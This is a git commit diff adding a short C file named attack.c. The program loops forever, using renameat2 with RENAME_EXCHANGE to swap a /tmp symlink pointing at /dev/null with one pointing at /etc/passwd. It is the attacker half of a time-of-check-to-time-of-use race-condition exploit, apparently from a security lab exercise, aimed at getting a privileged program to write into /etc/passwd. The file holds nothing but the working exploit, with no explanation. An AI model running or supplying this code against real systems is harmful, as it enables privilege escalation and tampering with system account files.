first commit

attack.c

@@ -0,0 +1,13 @@
+#define _GNU_SOURCE
+#include <stdio.h>
+#include <unistd.h>
+int main()
+{
+	unsigned int flags = RENAME_EXCHANGE;
+	unlink("/tmp/XYZ"); symlink("/dev/null", "/tmp/XYZ");
+	unlink("/tmp/ABC"); symlink("/etc/passwd", "/tmp/ABC");
+	while(1){
+	renameat2(0, "/tmp/XYZ", 0, "/tmp/ABC", flags);
+	}
+	return 0;
+}